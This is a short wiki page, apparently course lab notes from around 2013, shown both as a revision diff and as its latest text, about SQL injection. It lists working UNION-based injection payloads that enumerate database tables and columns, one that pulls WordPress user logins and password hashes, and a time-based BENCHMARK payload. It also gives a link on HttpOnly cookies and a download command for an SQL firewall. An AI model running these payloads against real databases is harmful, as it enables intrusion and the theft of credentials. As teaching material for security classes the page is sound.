Sqli: Difference between revisions
From ICO wiki
Jump to navigationJump to search
No edit summary |
No edit summary |
||
(2 intermediate revisions by the same user not shown) | |||
Line 10: | Line 10: | ||
1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- # | 1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- # | ||
</pre> | </pre> | ||
https://www.owasp.org/index.php/HttpOnly | |||
SQL firewall - | |||
<source lang="bash"> | |||
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb | |||
</source> |
Latest revision as of 15:58, 28 February 2013
1' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables; -- # 1' union select TABLE_NAME,COLUMN_NAME from information_schema.columns; -- # 1' union select user_login,user_pass from wp.wp_users; -- # wp.wp_users 1' union SELECT 1,BENCHMARK(100000000,ENCODE('hello','goodbye')); -- #
https://www.owasp.org/index.php/HttpOnly
SQL firewall -
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb